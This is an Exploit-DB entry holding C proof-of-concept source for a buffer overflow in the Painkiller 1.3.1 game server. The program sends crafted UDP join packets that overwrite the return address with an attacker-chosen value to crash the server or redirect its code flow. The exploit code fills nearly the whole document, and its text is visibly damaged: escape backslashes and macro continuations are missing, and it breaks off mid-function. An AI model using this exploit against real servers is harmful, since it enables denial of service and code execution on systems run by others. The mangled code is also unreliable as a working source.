Exploit-DB #422
Description: Painkiller 1.3.1 - Denial of Service
Type: dos
Platform: windows
Date: 2004-08-27
Author: Luigi Auriemma

Exploit:
/* 

by Luigi Auriemma 

*/ 

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

#ifdef WIN32 
    #include <winsock.h> 
    #include "winerr.h" 

    #define close   closesocket 
#else 
    #include <unistd.h> 
    #include <sys/socket.h> 
    #include <sys/types.h> 
    #include <arpa/inet.h> 
    #include <netdb.h> 
#endif 



#define VER         "0.1" 
#define BUFFSZ       2048 
#define PORT         3455 
#define TIMEOUT     3 
#define GAMEVER     "1.3" 
#define INFO         "xfexfdx00xDExADxC0xDExffxffxff" 
#define CONN         "xffxffxffxffx02" 
#define JOIN1       "xffxffxffxffx04" 
                    GAMEVER   "" 
                    "105.263" "" 
#define JOIN2       "x00x00x00x00" "xdexadxc0xde" 
#define BOOMSZ       548 
#define RETBACKOFF   28 

#define SENDRECV(x) 
    if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) 
      < 0) std_err(); 
    if(timeout(sd) < 0) { 
        fputs("nError: socket timeout, no answer receivedn", stdout); 
        exit(1); 
    } 
    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); 
    if(len < 0) std_err(); 
    buff[len] = 0x00; 




void show_info(u_char *buff, int len); 
u_long check_ret_addr(char *data); 
int timeout(int sock); 
u_long resolv(char *host); 
void std_err(void); 




int main(int argc, char *argv[]) { 
    int         sd, 
                len; 
    u_short     port = PORT; 
    u_char       buff[BUFFSZ + 1], 
                *ptr; 
    struct   sockaddr_in peer; 
    u_long       ret_addr; 


    setbuf(stdout, NULL); 

    fputs("n" 
        "Painkiller <= 1.31 code execution bug "VER"n" 
        "by Luigi Auriemman" 
        "e-mail: aluigi@altervista.orgn" 
        "web:     http://aluigi.altervista.orgn" 
        "n", stdout); 

    if(argc < 3) { 
        printf("n" 
            "Usage: %s <ret_addr> <host> [port(%d)]n" 
            "n" 
            " ret_addr is a memory address where you want to point the code flow.n" 
            " I have implemented only the ret_addr of the dedicated server because then" 
            " normal game needs a different one, so the dedicated server crashs but you cann" 
            " also choose a return address (EIP) while the normal game simply crashs.n" 
            " ret_addr is automatically verified by this PoC because only the bytes fromn" 
            " 0x00 to 0x3f are allowed.n" 
            " If you don't know what to use, insert: 0x32103210 or 0x33333333n" 
            " Some addresses like 0x11111111 instead freeze the server with CPU at 100%%n" 
            "n", argv[0], PORT); 
        exit(1); 
    } 

#ifdef WIN32 
    WSADATA     wsadata; 
    WSAStartup(MAKEWORD(1,0), &wsadata); 
#endif 

    ret_addr = check_ret_addr(argv[1]); 

    if(argc > 3) port = atoi(argv[3]); 
    peer.sin_addr.s_addr = resolv(argv[2]); 
    peer.sin_port         = htons(port); 
    peer.sin_family       = AF_INET; 

    printf("n" 
        "- Target                   %s:%hun" 
        "- Real return address:     %sn" 
        "- Encoded return address:   0x%08lxn", 
        inet_ntoa(peer.sin_addr), 
        port, 
        argv[1], 
        ret_addr); 

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
    if(sd < 0) std_err(); 

    fputs("- Request informations:n", stdout); 
    SENDRECV(INFO); 
    show_info(buff, len); 

    fputs("- Send connection request packetn", stdout); 
    SENDRECV(CONN); 
    printf("- Server challenge: %sn", buff + 5); 

    ptr = (u_char *)memcpy(buff, JOIN1, sizeof(JOIN1) - 1) + 
        sizeof(JOIN1) - 1; 

    ptr = (u_char *)memset(ptr, '0', 72) + 72;   // Gamespy key auth 
    *ptr++ = 0x00;                               // key auth delimiter 

    ptr = (u_char *)memset(ptr, 'a', BOOMSZ) + BOOMSZ; 
    *(u_long *)(ptr - RETBACKOFF) = ret_addr;   // dedicated server ret_addr 
    *ptr++ = 0x00;                               // password delimiter 

    ptr = (u_char *)memcpy(ptr, JOIN2, sizeof(JOIN2) - 1) + 
        sizeof(JOIN2) - 1; 

    fputs("- Send BOOM packet with return address overwritingn", stdout); 
    if(sendto(sd, buff, ptr - buff, 0, (struct sockaddr *)&peer, sizeof(peer)) 
      < 0) std_err(); 
    if(timeout(sd) < 0) { 
        fputs("nServer IS vulnerable!!!nn", stdout); 
    } else { 
        fputs("nServer doesn't seem to be vulnerablenn", stdout); 
    } 

    close(sd); 

    return(0); 
} 




void show_info(u_char *buff, int len) { 
    u_char   *p1, 
            *p2, 
            *limit; 
    int     nt = 0; 

    limit = buff + len; 
    p1 = buff + 5; 
    while(p1 < limit) { 
        p2 = strchr(p1, 0x00); 
        if(!p2) break; 
        *p2 = 0x00; 

        if(!nt) { 
            if(p1 == p2) break; 
            printf("%30s: ", p1); 
            nt++; 
        } else { 
            printf("%sn", p1); 
            nt = 0; 
        } 
        p1 = p2 + 1; 
    } 
    fputc('n', stdout); 
} 





u_long check_ret_addr(char *data) { 
    u_long   ret = 0; 
    u_char   *retc; 
    int     tmp, 
            i; 

    retc = ((u_char *)&ret) + 3; 

    if((data[1] == 'x') || (data[1] == 'X')) data += 2; 

    if(strlen(data) != 8) { 
        fputs("n" 
            "Error: please use a full offset of 4 hex numbers.n" 
            "       For example: 0x12341234, 12341234, 00001234, 0x33333333 and so onn" 
            "n", stdout); 
        exit(1); 
    } 

    for(i = 0; i < 4; i++) { 
        sscanf(data, "%02x", &tmp); 
        if(tmp > 0x3f) { 
            printf("n" 
                "Error: the return address cannot contain bytes greater than 0x3f (your: 0x%02x).n" 
                "       For example 0x12341234 contains 0x12, 0x34, 0x12 and 0x34 that are ok.n" 
                "       While 0x12345678 is not ok because 0x56 and 0x78 are greater than 0x3fn" 
                "n"